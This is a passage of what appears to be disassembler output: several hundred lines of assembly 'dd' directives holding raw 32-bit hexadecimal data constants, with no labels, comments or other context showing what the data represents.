		dd 0DB900AA3h, 26A42780h, 0EBED9Fh, 0AEF801AAh,	0C51EE310h
		dd 59C0FAC4h, 0E9B01E9Ch, 8A8000BAh, 0D44564F2h, 0F70001F3h
		dd 7A4AE1EBh, 0EE8CF95h, 7EAA262h, 3ED8DC00h, 461339B8h
		dd 0DD0091C7h, 19A0AEA6h, 6EA360E3h, 81751C0Ch,	76C08600h
		dd 0E44D48C9h, 93E0A7h,	0B8353B39h, 0E53EDB2h, 3D5DE500h
		dd 8BC07EC5h, 5A92099Eh, 2707F0A6h, 0A554A020h,	6101378Ch
		dd 9DE0F2FDh, 89C05D25h, 67DB00F9h, 0BF27F3F8h,	0C81CA23Dh
		dd 6E81DD80h, 8A20979Bh, 5202C0h, 7525C460h, 0D57E59F0h
		dd 110062F4h, 7BCAAE35h, 553FC2h, 0CFF750C9h, 13C876A7h
		dd 7D047900h, 30C3764h,	0F58F0114h, 59D11C09h, 0E8CC314Eh
		dd 2500AB23h, 0FE8C0B55h, 35C1345h, 4C3A99B8h, 0C9E01803h
		dd 0A1000875h, 0C3FB74D2h, 1758A3DBh, 0F791004h, 0EE40DA3Ch
		dd 660EA783h, 3401CF1Ch, 0C0D91DCEh, 0F120DDDBh, 0E98B01F8h
		dd 6895E26h, 0F65860B7h, 0C9E0D10Eh, 0D8D680D2h, 73BD7h
		dd 770B72FDh, 63F36704h, 0A32B0500h, 0E240E01Bh, 5B160BE7h
		dd 0D300C3F7h, 464D0774h, 1FD62F00h, 1DF3FCE5h,	0EBD20033h
		dd 0F68B560Bh, 233818D4h, 183BD08h, 1175FFFEh, 0F2DCCA01h
		dd 3EE70081h, 52F805Bh,	4800DC03h, 50FF9BC3h, 0E80437h
		dd 2CC5697Dh, 0AA75C023h, 2FA87C00h, 8C422B89h,	0BD1207EAh
		dd 607BA98Bh, 5D4476F3h, 6485590Ah, 2900C307h, 56F08A4Eh
		dd 2B721FB9h, 9492C3F4h, 0EB90F2F5h, 49095C11h,	8933B8h
		dd 0A8ADF91h, 2A307A4h,	20818056h, 387C20F9h, 3058F102h
		dd 0E01C0535h, 0EAB70ABh, 0FE262D3h, 2AC1A520h,	0B81DF6E0h
		dd 0DC0061Ch, 0C28B1FFAh, 99CC003Ah, 38F866D3h,	0FF1D48ADh
		dd 609FBCF2h, 0E8400EDFh, 39C95A6Ah, 70F107EAh,	0D39DA22Fh
		dd 5C8145Bh, 0B400245Eh, 359E37FDh, 52CC449h, 9B64E297h
		dd 949800Ah, 0C001F88h,	356BAD54h, 7F53FCD1h, 85EC0058h
		dd 2078942Fh, 0BE005B15h, 5DF8C242h, 18268BBh, 8321145Ch
		dd 0C8010F2Dh, 6400BC0Bh, 0E1A34B55h, 3FDD2FF3h, 3C8091A1h
		dd 4205C60Ch, 0DE07020Dh, 4411E30Eh, 0C76603D0h, 7B8F4h
		dd 7F9A5B97h, 52090114h, 0A389207h, 4C921064h, 0D6AC8704h
		dd 749FE4F0h, 4077FAh, 6CFFB429h, 0EEE80AA8h, 148E5500h
		dd 0BD1ADBE0h, 0F2830066h, 0D71B4F0Bh, 4C005BC7h, 0CBA2A22h
		dd 75FE9Dh, 52F24157h, 49FC960Fh, 2CA3860Fh, 6440DE47h
		dd 21281502h, 123F006Bh, 70F20A20h, 8D005C07h, 5FF33225h
		dd 6D2A041h, 18109109h,	72EAA0C8h, 8390C00h, 1786041Ch
		dd 0B87B53h, 83F40B8Dh,	0D7CC553Dh, 0A7DC00Fh, 25E2C032h
		dd 0A577E8h, 1C0768B0h,	13C2406Ah, 13554C39h, 6E00523Eh
		dd 5385EB8Fh, 311200A1h, 3D2518BBh, 69011D89h, 0FC5819E0h
		dd 0C8D74FACh, 2F23E8h,	1C2246A3h, 0B53A54A7h, 2831431Ch
		dd 77A61E40h, 157C29h, 4A33914Eh, 1BE97989h, 6300457Ch
		dd 0BBFB1928h, 2D1F56h,	2B950B23h, 0D8A0C4Ch, 8B1DC800h
		dd 84140550h, 3DFF0098h, 159A6428h, 0E01C6D2Ch,	0AB8082C3h
		dd 5B34536Eh, 3F017AC6h, 0DE014522h, 97D912B9h,	0F2A8FC88h
		dd 0EA00D773h, 52D4A1B1h, 220B34h, 8642C48Bh, 0D894467Ch
		dd 0B410E600h, 0C084940h, 0A8A1000Ah, 0EA0A313h, 0C200A4B8h
		dd 3E53E80Bh, 9A6E56h, 4497B08h, 0EF1344BAh, 97A01F00h
		dd 31D9A175h, 1D9DFC50h, 4D8BECh, 538EAAE2h, 2803FDD3h
		dd 0CDA974Bh, 9084900Eh, 4D4F0016h, 35FFC543h, 3D0F14D8h
		dd 0A04EBCB9h, 84B724BBh, 85CC0B4Ch, 88815E09h,	0DC99DC22h
		dd 0D3F2486Eh, 0EB3D60FEh, 0FE3DBC21h, 0E43C2400h, 83238E5h
		dd 473E0034h, 912C2330h, 243BC828h, 8CD316F8h, 0F2C1C5B8h
		dd 0CC18391Ch, 10FA8E14h, 8FAE4B8h, 0EE04C800h,	70FCCA11h
		dd 58F86065h, 1CF039F4h, 108EEC01h, 0CA92C8E8h,	0C655120h
		dd 0DC086CE0h, 2301D848h, 0C8D091D4h, 72CCE4CCh, 0E83B7FC4h
		dd 4E394CBCh, 0B02AB430h, 9100AC23h, 0E4A4C8A8h, 0C9C72A0h
		dd 941C9839h, 23029022h, 0C888918Ch, 93B7D784h,	9103E027h
		dd 44C80048h, 31D33CE2h, 346F1C38h, 90234020h, 0C88C91h
		dd 7284E488h, 1C7C3980h, 74227860h, 917023h, 0E468C86Ch
		dd 39607264h, 581C5C10h, 50235400h, 0FC64C90h, 107B700h
		dd 10E2C1D2h, 0C3C2000Bh, 3A19E8D8h, 17009314h,	96C0C592h
		dd 3CE18190h, 2001C497h, 0BBB718EBh, 3FF0FC7Fh,	4F418704h
		dd 68C00C91h, 0FD80E5h,	0E0F469Fh, 8FF1A745h, 942BA500h
		dd 61712C34h, 1DE4E668h, 0DD78101Ah, 0B18687A8h, 0E7F090CFh
		dd 0F1010884h, 0F339F272h, 0BC81F41Ch, 91F623F5h, 12806EF7h
		dd 0CFA72F9h, 0FC1CFB39h, 230EFD22h, 80C7BFFEh,	0C8E191E0h
		dd 0E3E41CE2h, 0E539C372h, 2A0EE61Ch, 80E808E7h, 4FE96253h
		dd 4CEA0731h, 0DFA6EB18h, 0ED23EC80h, 0C800EE91h, 72D0E4EFh
		dd 0ED239D1h, 0F98ED31Ch, 0D64AD58Ch, 91D72300h, 0E4D9C8D8h
		dd 0DB7203DAh, 0DD1CDC39h, 23DE2200h, 0C8C091DFh, 0C2E400C1h
		dd 0C439C372h, 0C680C51Ch, 71EFB823h, 0E4C900C8h, 39CB72CAh
		dd 0CD601CCCh, 0CF23CE22h, 0C8B00091h, 72B2E4B1h, 0B41039B3h
		dd 0B600B51Ch, 0B891B723h, 0E400B9C8h, 39BB72BAh, 80BD1CBCh
		dd 0BF5B23BEh, 0A1F6A0h, 0A372A2E4h, 0A51CA439h, 22A680h
		dd 88F89BA7h, 0E8706469h, 9743AB1Fh, 0A8B01EFBh, 8CA220Fh
		dd 0C07E1E27h, 90CFE75Bh, 22B8DAACh, 3CBA0C04h,	0CA804E10h
		dd 0DE0E38AAh, 0EFA4800Ch, 509A6D8h, 6378450Dh,	0C6FC2265h
		dd 0BFF30030h, 2050D87Bh
		dd 7C078810h, 4268AD64h, 3FAA044h, 61651593h, 90C57402h
		dd 435C7B8Ch, 0AFE4B0BCh, 450C0003h, 9874754Fh,	65014D66h
		dd 726F6D0Bh, 8AEC7C79h, 5C960301h, 21E814DEh, 48ABB8B0h
		dd 0BA02003h, 886E4945h, 7E72CEBDh, 66F2003Bh, 4135B4BFh
		dd 0D23C582Fh, 0C0B8012h, 24F8D874h, 3F6C7561h,	0ECB99815h
		dd 0F4218E80h, 12425C65h, 6C38D201h, 6460AFF8h,	0C93BD0h
		dd 32102909h, 57CC500Eh, 0A158671Dh, 0AC1800BAh, 0AB86642h
		dd 44450F01h, 79207669h, 6FBB405Ah, 0AFA89007h,	3B436458h
		dd 52C080D2h, 676E0061h, 68E08665h, 4000CD8Fh, 0CA2584Eh
		dd 1280844h, 9AF764Fh, 606F6C66h, 5C5574B9h, 64A4D09Fh
		dd 0C245D00h, 0FBF14D17h, 90B3034Ch, 0B258B457h, 88A73B98h
		dd 0FE285D3Ch, 5C197617h, 604F0A0Eh, 586A0C90h,	3C2175F4h
		dd 6483DC69h, 0C024B791h, 55A1C29Ch, 87608F8Fh,	456C627Ah
		dd 1B26613Ah, 9C1ABC15h, 55084000h, 6406526Eh, 14900A59h
		dd 0FD77E5Bh, 0F89883Bh, 6FFA6040h, 0C903E6E9h,	5C5E7085h
		dd 0C97A0C8h, 0CA303A2Fh, 43C70379h, 69747352h,	2774CCF3h
		dd 0D83770Fh, 516FE045h, 62B0BAh, 6B2884D8h, 9D40697Eh
		dd 10C0CC00h, 0B8634145h, 73710088h, 1789565Ch,	250F616Ch
		dd 0A3BC4A8Eh, 0A043F660h, 0CC21BDh, 793472D9h,	0E465586Ch
		dd 0E090151Bh, 788799E2h, 48730h, 63617453h, 1D81CA6Bh
		dd 0C3C903Bh, 0E84AD35Ch, 49D20744h, 0C1077470h, 0CC05796Ch
		dd 583A7B94h, 58144C22h, 615600A6h, 28CA390Dh, 0AFF00EA0h
		dd 92645Ch, 0BC8520Dh, 0D40065C5h, 614642DDh, 12646F48h
		dd 1C31C98Dh, 0C51D8Bh,	0E88603Ah, 9606213h, 0BD730AC2h
		dd 0E8EA90C2h, 0FB08C35Ch, 66C10B4Ah, 6728602Ah, 0FC00A098h
		dd 20CE41D3h, 0C057E2h,	0A93233ECh, 585E6059h, 0B4EEC874h
		dd 124CD400h, 66610980h, 4740065h, 6BC81C27h, 490003FFh
		dd 99824AAh, 5119984h, 5D545812h, 0A37D8069h, 720068E7h
		dd 0E5646143h, 49841Dh,	90DB0879h, 9EF003B2h, 4B07F9EAh
		dd 6F02C69Ch, 5728B660h, 0B0840308h, 959180D1h,	542403C8h
		dd 6C754D00h, 0F552FC35h, 0BEA3005Eh, 4C89732Ah, 5C007F57h
		dd 79530FF8h, 91F46Eh, 7AEDB051h, 25FBFDEFh, 0BBC838h
		dd 0EAC1C22Fh, 3E6610h,	5D9DF3F7h, 132BF08h, 7E130600h
		dd 0E20417F0h, 0CB1F1CE0h, 80A18EB2h, 80E8AC45h, 93A6BA24h
		dd 0A521B300h, 6A699CC1h, 7BD90027h, 0AE23C84Bh, 9BB0856Fh
		dd 0E705FA00h, 27FBC38Bh, 4D77000Dh, 0FC23EAAh,	0F1003A8Fh
		dd 67B5463Dh, 0B885F895h, 7DB700EFh, 5927F6B4h,	0A000FC5Dh
		dd 5818DF69h, 0E129B3h,	0D3FEC708h, 7DD846BDh, 374AD600h
		dd 1615F5F0h, 3C02048Ah, 8006490Eh, 2C8177D0h, 0E0882012h
		dd 4B622900h, 0BEB752Ah, 0AFB494D5h, 4841EF80h,	403105Ah
		dd 537696A9h, 927D8F9h,	0BB0B00D1h, 520FD2B3h, 0C11F89B8h
		dd 76002F39h, 0C9ECDF58h, 0A6F30001h, 5E8A2A74h, 0B4002EFFh
		dd 0ADA0828h, 7D685DFAh, 0DC7F032Dh, 0C23BA120h, 38B1EF83h
		dd 0FCA30FBh, 0C3B63000h, 0D029D706h, 0AC5B016Ah, 0BE7C25CCh
		dd 17A3C419h, 5C9DA500h, 3BFC07B5h, 7530004Ah, 4B2FE80Ch
		dd 0D400F260h, 5EAAA85Ah, 0E24868F6h, 0CCB30095h, 42771150h
		dd 0C300292Bh, 1246BC10h, 0E8016Ah, 67499FE3h, 89B6DC4Eh
		dd 0DFBEE101h, 0AAF7849Ah, 72BC770h, 0BBF009EDh, 605F0392h
		dd 70E03BBAh, 8000077Ch, 20FF1FC1h, 82F476h, 8B0A7D16h
		dd 0C098D5C5h, 0C84E1707h, 0F870372Ah, 2BCE6Ch,	1941CB24h
		dd 0CDBB7333h, 702DAB00h, 6A35832Fh, 93EA0384h,	827C679h
		dd 6097DE88h, 9CBAC239h, 0DF404071h, 5F4C6B69h,	0CC7C09h
		dd 8EAFFEB8h, 0FC136425h, 67DA8400h, 8908F240h,	0C6E100F9h
		dd 0F410CD20h, 0BA00FE4Dh, 71319457h, 1E855D5Bh, 40346D35h
		dd 14C9F062h, 64005489h, 120CDBD9h, 12537E10h, 0CCBA43h
		dd 9F3B911Ch, 38EA956Ah, 2E08040Fh, 0C78A735h, 3F0E7040h
		dd 0DAB91F45h, 0BD3E00F4h, 0F02A47EEh, 0C23AA00h, 18D2A772h
		dd 40F200D4h, 90E43BA9h, 690092F4h, 3235529Fh, 0F51198Fh
		dd 8DC477F0h, 5C5689C3h, 7A0B27D8h, 0A113C800h,	52EF4714h
		dd 320C01C9h, 0CBC6435Fh, 8C236062h, 0D651C717h, 37AAEB00h
		dd 235A6h, 705A4D88h, 2EF03199h, 0DD0BD900h, 3012B303h
		dd 17FE0025h, 85E8C107h, 330004EDh, 9809414Ch, 0E38350h
		dd 9D66488Fh, 0DC911640h, 7FC4CE07h, 4CA0BF4Eh,	6629045h
		dd 9BD7023Dh, 0C0007257h, 23272D88h, 512CE8h, 0A86AC56Ch
		dd 8BB8D67Ch, 4FE95002h, 40934499h, 1F520B6Bh, 1C46EE8h
		dd 2CC70A5Ah, 8737C476h, 0BA002BB8h, 74EFE842h,	38104CE4h
		dd 98804E5Fh, 0C42781ECh, 0C80172B4h, 89B16A9Dh, 0F0F39609h
		dd 4E4BCFh, 34322CB3h, 0F625C716h, 101F420Eh, 0E45DC075h
		dd 0C8FA1Ch, 0BFE82CA0h, 0D75B33D6h, 0FFA72003h, 0E00A18B4h
		dd 1D7C4EB7h, 562A6Dh, 74669D0Eh, 3C01E495h, 5633320h
		dd 0C0E40F40h, 1035175Bh, 276D0922h, 0B01BB387h, 0D6E4084Dh
		dd 0ED1E390Fh, 0E72607F8h, 7F636640h, 8A280004h, 0BEFF3E5Ch
		dd 1B00BC82h, 0E460CB6Ah, 0EEA3664Fh, 7F0E3CEAh, 97711800h
		dd 23C1AC0h, 4F067503h,	0FE54C19Fh, 0A36A3B0Eh,	20589700h
		dd 26B8D322h, 2F744800h, 9863C388h, 3CEF2F0h, 0C65BB5BAh
		dd 71F0102Ch, 0B400A6F8h, 0E13A5C50h, 321344Bh,	75F4E980h
		dd 7FCBB919h, 61D480DCh, 66007238h, 0DCE813B0h,	7A812EFh
		dd 0FA5C53EDh, 8203C55Ah, 46C008E8h, 0FC3E2DF8h, 4E4F007Ah
		dd 137C7DF3h, 246D7DF7h, 9F3AA8h, 0ECBA3FE8h, 0DB00F41Ch
		dd 0E7D3816h, 1A4E6Eh, 90E35C84h, 890C4D34h, 0E9015A00h
		dd 53F84CCAh, 43B5A01Ah, 10230042h, 0DFCC313h, 2F00789Fh
		dd 52B1D890h, 7397C7h, 70E0305Fh, 13FE62B8h, 0E2C82900h
		dd 8ED842D3h, 0D6CD18C3h, 0B03A5A34h, 1116C03h,	0D0C12B74h
		dd 3FA65821h, 0B301D1FDh, 0BAFF886Ah, 22D0F366h, 0ED00EEECh
		dd 64E7EFE5h, 464A3Ch, 313FFC0Dh, 57172943h, 0F71F5600h
		dd 9BE7F9D1h, 0F8661FCAh, 47680044h, 515F5E1Ah,	3A0040E2h
		dd 0EB4CCB34h, 5270Ch, 11F7554h, 2D6A2941h, 0D996A100h
		dd 77955A91h, 0D0970086h, 625B6B19h, 0CB03F45Ch, 0ECBE402Bh
		dd 0C290E8FEh, 2C59007Ah, 0EA24656Fh, 0AA1DB280h, 314099C6h
		dd 0D2C2FF19h, 108E2D50h, 0F8217960h, 12003A7Bh, 951913E8h
		dd 1D09FA20h, 96EA10D6h, 154160Ah, 83ED985Eh, 507CD046h
		dd 32001798h, 0D995A582h, 0E21443Bh, 0ACB8D257h, 5C915080h
		dd 40086EAh, 97D0885Fh,	30C63h,	2A2E9075h, 946848F8h, 4411EB00h
		dd 10F64025h, 544C0BB5h, 0BB802B2Dh, 0CE892E74h, 0B8DF921Fh
		dd 31F129C0h, 1E1D76h, 41FE5E8Dh, 2724AC1Bh, 0C8F81100h
		dd 0D9509F90h, 7A5F7F8Eh, 5ED00C1h, 0EBFF478Dh,	0AA241202h
		dd 0BE3FE239h, 0FC6804Bh, 5A34CE29h, 0EA5301B5h, 7CEC665Fh
		dd 97C0C818h, 0BD64C407h, 0BBD0818Bh, 7A361319h, 0A52200F3h
		dd 0D70AC846h, 1500CC66h, 470B81CEh, 0E45F65h, 25FE83B0h
		dd 1410F23Ah, 90AE8600h, 99B4AD5Ah, 9ED900C8h, 0FB41F8D5h
		dd 500761Fh, 0DC4D2BBh,	0B84AD337h, 497008Dh, 0C983013Ch
		dd 0F3FEFB4Bh, 0D6A2CB00h, 8DD545A9h, 0FE3C0F0Ah, 200FBC50h
		dd 36280620h
		dd 5300B879h, 4160BD12h, 7D65388Ah, 8CD9009Ch, 7CE3BC4Dh
		dd 3676536Fh, 139E950Bh, 48EB8057h, 8C5492h, 891620F8h
		dd 4DCAED5Dh, 0CE139F00h, 7DD14B03h, 258103DCh,	0F406D90Ch
		dd 4D24F0B0h, 39280E00h, 0AC48B0CEh, 253202A0h,	4255AA14h
		dd 2B6B2FC0h, 0E9B53B00h, 316FE828h, 341B0D0h, 83FEC67Ah
		dd 4590EC88h, 1C0124EBh, 3130042Dh, 7C70ACDAh, 0D2680081h
		dd 6E3A7F8Eh, 0D81F340Ah, 31C0C825h, 0E414DFEBh, 83220EBBh
		dd 19202E64h, 2649B429h, 0E0009C78h, 51DC75C3h,	0CAEB52h
		dd 8B5A1B1Ah, 7320614Ah, 0DB0082E4h, 0EB7D8019h, 1F10A9Ah
		dd 104F0CAh, 0E42CD14Dh, 0CB0087A4h, 0AAD5C90Ch, 3B520EEBh
		dd 0A28E32CAh, 0EAE00A72h, 679341F0h, 59878C00h, 6CE99E8Bh
		dd 1576C3h, 742A18F8h, 72300A22h, 393C4000h, 6B377704h
		dd 0EC3F6DBh, 0B6C0CB64h, 80540147h, 94A00380h,	5658E426h
		dd 0FB53D500h, 0B03B6E0Bh, 12770384h, 8010A8FFh, 7C980CABh
		dd 2600DF19h, 5674D51Ch, 0F3F4F86h, 2482ACDCh, 0B8C188A0h
		dd 0A100A3E6h, 21CF3BCDh, 15C52h, 348D0C75h, 0F06D8DEh
		dd 0A0B64E00h, 9D132443h, 2787BF6h, 879EA2Eh, 5F603A44h
		dd 7BE60F7Ah, 11CC8101h, 88D109F1h, 78779F8h, 0B5219219h
		dd 490BB099h, 1C484C60h, 4E11077Dh, 0E8C07DA4h,	45C97Ch
		dd 4D8A7055h, 0D129DC1Fh, 9F0027F0h, 125D8D16h,	7B990B92h
		dd 0A4A70013h, 0F9803053h, 671F7444h, 54000A11h, 7558012Ah
		dd 7BB905D0h, 8023ABC8h, 6B2143C7h, 15748000h, 0DC831BE4h
		dd 0BF3F0048h, 8AE88C5Bh, 0B0002269h, 4E412D02h, 0C30688h
		dd 12E3C457h, 0C7AF758Dh, 8B327300h, 80A27D03h,	24A0008h
		dd 0C2579259h, 6916C0F2h, 2DEC723Ah, 164E2900h,	4913421Eh
		dd 0BC892700h, 0D00209DDh, 8DCA0075h, 32C2AF4Dh, 0E03B9185h
		dd 769001AAh, 78433942h, 30AE0h, 0B14C30B0h, 0D2FA3F0Fh
		dd 15218F03h, 0D0092211h, 2A3D85h, 17C593E0h, 0E798D80h
		dd 0D80AF700h, 876A11E8h, 9F4A0054h, 7B946DFDh,	320F58B6h
		dd 60CEEA75h, 0BA53183Dh, 89FE00E0h, 0F221501h,	7C032BD1h
		dd 0B8FC255Dh, 11C2E809h, 147F00FDh, 0EB809687h, 0C9003142h
		dd 0B04521A4h, 0FAC7970h, 0C802A290h, 44BE35E0h, 87007D39h
		dd 0A4760575h, 1DA90Fh,	719D0993h, 6AD6DBF0h, 0E5AEAF00h
		dd 174A0BEBh, 8234007Ch, 0BA74F609h, 790EE055h,	0A0284D3Bh
		dd 0A9F38B77h, 1050000Ch, 2A57D660h, 29005C19h,	8F6328E3h
		dd 7BF9CA4Fh, 415F00B6h, 21400250h, 0E00045C7h,	448FD3Dh
		dd 0F216E9C5h, 1B73FFCh, 194E5000h, 0EF87B36Eh,	3F744700h
		dd 450EF97Fh, 33875DDh,	0F3460302h, 7A8F212h, 0F51FEC4Eh
		dd 1041814Dh, 69B804B3h, 62060FEh, 76C20139h, 58BA4B25h
		dd 1B75E0CBh, 0FFA048h,	3ED1B5F4h, 0BE8B18h, 2DC703BAh
		dd 82BBF883h, 0FB82900h, 68505322h, 898F00FAh, 0CF46F260h
		dd 0A40049E8h, 0C1484FB2h, 582A7F62h, 0B13F71C3h, 0E6589E0Eh
		dd 11A96BE0h, 4100A464h, 3CE32E0Ch, 0F14E7Dh, 0E6C65522h
		dd 19D596ABh, 80309FEh,	30E8CE02h, 9F2E98D7h, 0A44E267h
		dd 0D3651F03h, 0C36900C7h, 91C14D1Bh, 83308739h, 0F66B5BDFh
		dd 0F529F094h, 0D0010032h, 0FCA4D6D8h, 0BE05738Ah, 0BBF0027Ch
		dd 45279000h, 31E6A9h, 0F2ACD35Ah, 2BC1C0B5h, 0F03BCA04h
		dd 0F5C0567Dh, 0F8E365h, 5C4D7523h, 8D06EE6Eh, 0EFF68502h
		dd 0E07BA898h, 40AE8Eh,	3830C0B9h, 57CC23Bh, 3F0437Dh
		dd 66FBDB00h, 56BE0E0Bh, 744B01EAh, 47AA95B0h, 0BA4720A5h
		dd 92708204h, 0DDC32DA0h, 63A2F98Dh, 0B7559240h, 94C200CEh
		dd 0A664B08h, 0BC1D0FE4h, 3C1D494Fh, 0C933CBh, 0C86B8B9Ch
		dd 1062001Eh, 401430A9h, 5C0A5365h, 0C72FA2ECh,	0EB55D400h
		dd 1FC4BDABh, 7CAB691h,	50DA501Ah, 0A021A1F2h, 0DB614600h
		dd 6A93242Ch, 34BB0F14h, 0DDA08208h, 0DD8A981h,	0B0286800h
		dd 0A236A84Fh, 25410009h, 6D992F11h, 6C3935DCh,	0EB1683D8h
		dd 0A80AA406h, 18955A05h, 2A893607h, 3B000469h,	0F8921788h
		dd 7C4256h, 0FDFF45C6h,	18639E0Fh, 1D4D7300h, 903CFA0Ch
		dd 0F9200047h, 8102417Ch, 7E16E8FEh, 0CF003AE0h, 8087691Ch
		dd 0C3600EEh, 0C9F3D212h, 81136F60h, 6200033Ah,	0E808D116h
		dd 666D0B9Bh, 5D010AD6h, 8006DB18h, 7DC42DAEh, 3E0C1A72h
		dd 9B83DD08h, 8A6501A7h, 3AF65EC0h, 0CB800500h,	70524CA4h
		dd 57DD0049h, 0ACC4266Bh, 2D2CB172h, 6600FF7Eh,	9BC9EE79h
		dd 3ECF00E1h, 5312D9F2h, 0C00326Dh, 2F6AD015h, 580970A1h
		dd 0AC03C6CCh, 5F3F899Eh, 34C27FB8h, 0F4117E00h, 1217481Bh
		dd 796CFAF8h, 957394h, 86D3B6E5h, 61075FFh, 350C5016h
		dd 9A6D420Ch, 28FE0730h, 50DCBA66h, 0AB3D223h, 0B3CB1224h
		dd 3C214500h, 661AC2h, 27CF640Ch, 8FE801FCh, 35965603h
		dd 0F05C4CA6h, 98D49Ch,	83C134C8h, 8603E02Dh, 14211812h
		dd 0BEB6F300h, 7EA204B2h, 0F696009Dh, 0E46FE985h, 2A16B97Ah
		dd 0C2000190h, 0D39C74F1h, 0B7F036Bh, 59F8F4D5h, 6C860990h
		dd 8966FA00h, 703490E4h, 3922CFDh, 972C003Ah, 0E081956Eh
		dd 48D7F00h, 0C534CC40h, 0B2ED01A1h, 67D9D24h, 826680FEh
		dd 9690B586h, 0B81676DEh, 267E3C40h, 72336180h,	0E70C0D78h
		dd 0FB0019E8h, 0FC9F6C18h, 3BC0C7h, 77FE465Ch, 4815CA62h
		dd 7E0B9000h, 66E0980Eh, 5C010703h, 0E041FE4Eh,	2CA8F775h
		dd 4914E500h, 0CFA0C18Bh, 0C6DE0399h, 3F6DF169h, 1480CBFFh
		dd 2BF2B873h, 40D4F007h, 0F930D9B1h, 0E262E6FBh, 810A06C3h
		dd 583566EEh, 2892E100h, 0A58BFDDBh, 0F347BBAh,	0D89A6094h
		dd 0F8F517A0h, 0D3FEB435h, 6E301072h, 78812E2h,	91DE0080h
		dd 6CE8613Ch, 290B70C6h, 83F881F4h, 0F908B438h,	0C0FE40D5h
		dd 0BCFDAEh, 85EC8250h,	2BDD7FC9h, 23F4C000h, 8D52A4Bh
		dd 35EE64h, 6B35CFBh, 257148E9h, 46129016h, 7133612h, 79B8FE00h
		dd 1FF98103h, 0F023AB1h, 0E900EF7Ch, 10A4AB2Bh,	6B2C7100h
		dd 86130114h, 0BCED007Dh, 0E53F24Ah, 0AC000902h, 1D66918Eh
		dd 98FC9A92h, 0A75000Ch, 0E04DFF9Dh, 2E483ADBh,	3E240B1Eh
		dd 0D8968164h, 0AFC8692Ah, 14100037h, 982D05B5h, 0E298F0FCh
		dd 1E02E000h, 4B880AC9h, 2CD9005Ch, 4F785D50h, 0A21D0E4Dh
		dd 0B4400214h, 313FE309h, 9CC80774h, 0B1564A4Ch, 0ECECA35Dh
		dd 10003B8Ch, 15B20B72h, 1291Ch, 6EDFEB40h, 64387AC6h
		dd 0F8001898h, 0B2F1020Dh, 7F41626h, 93B99429h,	0A8517044h
		dd 340049CFh, 0A9080664h, 44AE5h, 0B700F12h, 0DFB31A5Eh
		dd 7C3A3Ah, 2B9CCD1Fh, 0B949FCh, 0E705922Eh, 0DD9940C2h
		dd 0E04A9300h, 50AC41AFh, 0BD1F58E8h, 0F64CE300h, 140AD70Eh
		dd 7AC8B41Dh, 240C2B80h, 0DD286Fh, 3698CBB8h, 50160FA0h
		dd 0E41FA30Fh, 14418127h, 0A9FCC3E8h, 181200DCh, 0BB1C5CDDh
		dd 4005D74h, 6D2024D9h,	1F00A31h, 424C4D54h, 0E04E1012h
		dd 907534Bh, 17F2BB34h,	0FC992B10h, 276300A9h, 13D0FED3h
		dd 701B1DAh, 0CA08E453h, 43E88C92h, 9425008Dh, 0D2B84B11h
		dd 460357CBh, 28B098E6h, 9D1AA001h, 0A6870350h,	0B4B3B6D0h
		dd 0DF90E9E0h, 0FF565860h, 4C598171h, 8122FAFh,	262A00CFh
		dd 63046A42h, 0C2FCF600h, 55D8E4EDh, 3E55B80Bh,	7530ECB8h
		dd 3170B965h
		dd 17434100h, 9539BAF0h, 1B33004Bh, 481F52D0h, 0A300A04Dh
		dd 83891353h, 9901C0h, 0FF02EB10h, 8A9348BDh, 0A3017EB0h
		dd 74FB4B3Ah, 3660BCA8h, 0B5EA3Bh, 0F4564289h, 80576178h
		dd 0C000EDE8h, 13DF2A75h, 2F409Fh, 19B0E0F1h, 0A0EE488Dh
		dd 0F000E698h, 0E8F24CA8h, 715329h, 40C683D5h, 745601EDh
		dd 0E3203800h, 58D83147h, 0A95000E4h, 0E80CE63Fh, 0B871CD22h
		dd 3B29DE0Fh, 0E391806Eh, 0FE74304Eh, 0E0731D5Bh, 0A0560E54h
		dd 65F48DA0h, 8A1F14C2h, 656CFC4Dh, 0AA42BE03h,	0E5BCD884h
		dd 667300CCh, 0A5F2C8CBh, 2200ECA9h, 0EE24F00Bh, 0F9927867h
		dd 0C0BAC540h, 0E86D008Ch, 91685DEFh, 96B804AAh, 8A54EC00h
		dd 0F793269h, 4479B2h, 67E1564Bh, 1219BB4Fh, 0EA4EF700h
		dd 5CA6F432h, 83425CAEh, 0B92B8500h, 87E83604h,	4E9C900Fh
		dd 0E0606F0Fh, 0B0A16633h, 43590055h, 4AE8261Ah, 0D002319h
		dd 200C7117h, 1D970357h, 0DE32E113h, 0B2C8C099h, 8CB85C0Eh
		dd 465EEB07h, 40AE613Dh, 0A4547501h, 0FAE35030h, 97D30012h
		dd 5B83E4D5h, 84E67E3Fh, 98BF3200h, 9EB2F035h, 4EE200E1h
		dd 61E81287h, 8C000274h, 469754D6h, 1F401A8Bh, 52BB6Eh
		dd 0F6D1D763h, 7300283Fh, 84B1C49Fh, 0E0965059h, 0B2BB2CE9h
		dd 0FCF703E9h, 6B8E589h, 5100405Eh, 421AC667h, 7F6F846Ch
		dd 7723EA53h, 85A20066h, 0FE83806Ah, 0F077F02h,	0B8BAE5C2h
		dd 286B4EC0h, 0D7BEBh, 3A92C442h, 3374847Ah, 87768B3Ch
		dd 24801E75h, 0EE303820h, 53480317h, 49C8A141h,	910236E0h
		dd 16006376h, 85A92D03h, 6AF445h, 0C679F9F8h, 695BB87Ch
		dd 0F11C181Eh, 91D844C0h, 789D205h, 5A06BEEFh, 920EC0DCh
		dd 0C2390714h, 83A08048h, 40BDFC7Dh, 6FB0094h, 8DBE0A91h
		dd 0FE00F8B8h, 0EBEF4299h, 0E21093h, 7EB31180h,	2C860E85h
		dd 0E344081Fh, 33829000h, 387CD7h, 0FFFBE988h, 0C8A949Ah
		dd 21C47700h, 5A30F0Bh,	0A5220118h, 93FF1673h, 0F09FDD0Dh
		dd 720041DAh, 304F2DADh, 7D398017h, 0EA8B00C2h,	7658731Ah
		dd 0BF280CA1h, 3C00A208h, 8707754Dh, 0E5148FBh,	714EB002h
		dd 824A5580h, 6000DE35h, 300F3839h, 834387h, 5094808Ah
		dd 1AFFA686h, 0CD852400h, 0A42DF20Fh, 3CE0005h,	0EB3100Dh
		dd 0B1F3384h, 30010C81h, 650026Ah, 7D104DDh, 79421C60h
		dd 0A010009h, 327A8CCAh, 5CF8870Dh, 48892403h, 901B88B6h
		dd 7A10C211h, 0EF221CBEh, 448A4320h, 0F3F08655h, 5101818Bh
		dd 9676999h, 0E8F4107Dh, 725D3DAFh, 0DB0E6400h,	4CAEAC24h
